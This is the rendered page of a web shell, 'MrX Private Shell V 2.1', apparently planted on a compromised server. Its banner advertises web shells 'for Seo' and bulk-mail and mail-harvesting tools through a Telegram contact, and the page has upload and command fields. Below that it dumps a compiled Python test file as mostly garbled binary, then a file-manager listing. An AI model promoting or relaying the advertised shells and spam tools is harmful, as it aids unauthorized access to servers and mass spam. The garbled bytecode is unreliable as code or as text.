__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��f/
���Sr\rSSKrSSKJrJrJrJrJ	r	J
r
JrJrJ
r
 "SS\5r"SS\R 5rg)z(Tests for the error_for helper function.�N)	�ClientError�Conflict�MethodNotAllowed�NotFound�PreconditionFailed�
ResponseError�ServerError�Unauthorized�	error_forc��\rSrSrSrSrSrg)�StubRequest�%z-Just enough of a request to fool error_for().c��Xlg)N��status��selfrs  �E/usr/lib/python3/dist-packages/lazr/restfulclient/tests/test_error.py�__init__�StubRequest.__init__(s����rN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__�rrr
r
%s
��7�rr
c�Z�\rSrSrSSjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rg)�TestErrorFor�,c���[U5n[XC5nUcURU5 gUR[	XR55 URX5R5 g)z9Make sure error_for returns the right HTTPError subclass.N)r
r�assertIsNone�
assertTrue�
isinstance�assertEqual�content)rr�expected_errorr'�request�errors      r�error_for_status�TestErrorFor.error_for_status-sM���f�%���'�+���!����e�$��O�O�J�u�=�>����W�m�m�4rc�:�SHnURUS5 M g)z.Make sure a 2xx response code yields no error.)������i+N�r+rs  r�test_no_error_for_2xx�"TestErrorFor.test_no_error_for_2xx7s��*�F��!�!�&�$�/�+rc�:�SHnURUS5 M g)z.Make sure a 3xx response code yields no error.)i-i.i/i0i�Nr1rs  r�test_no_error_for_3xx�"TestErrorFor.test_no_error_for_3xx<s��/�F��!�!�&�$�/�0rc�2�URS[S5 g)z3Make sure a 400 response code yields ResponseError.i��
error messageN)r+r�rs r�test_error_for_400�TestErrorFor.test_error_for_400As�����c�=�/�Brc�2�URS[S5 g)z2Make sure a 401 response code yields Unauthorized.i�r8N)r+r
r9s r�test_error_for_401�TestErrorFor.test_error_for_401Es�����c�<��Arc�2�URS[S5 g)z/Make sure a 404 response code yields Not Found.i�r8N)r+rr9s r�test_error_for_404�TestErrorFor.test_error_for_404I������c�8�_�=rc�2�URS[S5 g)z6Make sure a 405 response code yields MethodNotAllowed.i�r8N)r+rr9s r�test_error_for_405�TestErrorFor.test_error_for_405Ms�����c�#3�_�Erc�2�URS[S5 g)z.Make sure a 409 response code yields Conflict.i�r8N)r+rr9s r�test_error_for_409�TestErrorFor.test_error_for_409QrBrc�2�URS[S5 g)z8Make sure a 412 response code yields PreconditionFailed.i�r8N)r+rr9s r�test_error_for_412�TestErrorFor.test_error_for_412Us�����c�#5��Grc�2�URS[S5 g)z?Make sure an unrexognized 4xx response code yields ClientError.i�r8N)r+rr9s r�test_error_for_4xx�TestErrorFor.test_error_for_4xxYs�����c�;��@rc�B�SHnURU[5 M g)z2Make sure a 5xx response codes yields ServerError.)i�i�i�iWN)r+r	rs  r�test_no_error_for_5xx�"TestErrorFor.test_no_error_for_5xx]s��*�F��!�!�&�+�6�+rrN)�)rrrrr+r2r5r:r=r@rDrGrJrMrPrrrrr r ,s>��5�0�
0�
C�B�>�F�>�H�A�7rr )r�type�
__metaclass__�unittest�lazr.restfulclient.errorsrrrrrrr	r
r�objectr
�TestCaser rrr�<module>rYs?��$/��
��
�
�
��&��47�8�$�$�47r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 210 B 0644
example.cpython-313.pyc File 2.66 KB 0644
test_atomicfilecache.cpython-313.pyc File 8.94 KB 0644
test_docs.cpython-313.pyc File 2.94 KB 0644
test_error.cpython-313.pyc File 4.52 KB 0644
test_oauth.cpython-313.pyc File 7.24 KB 0644
Filemanager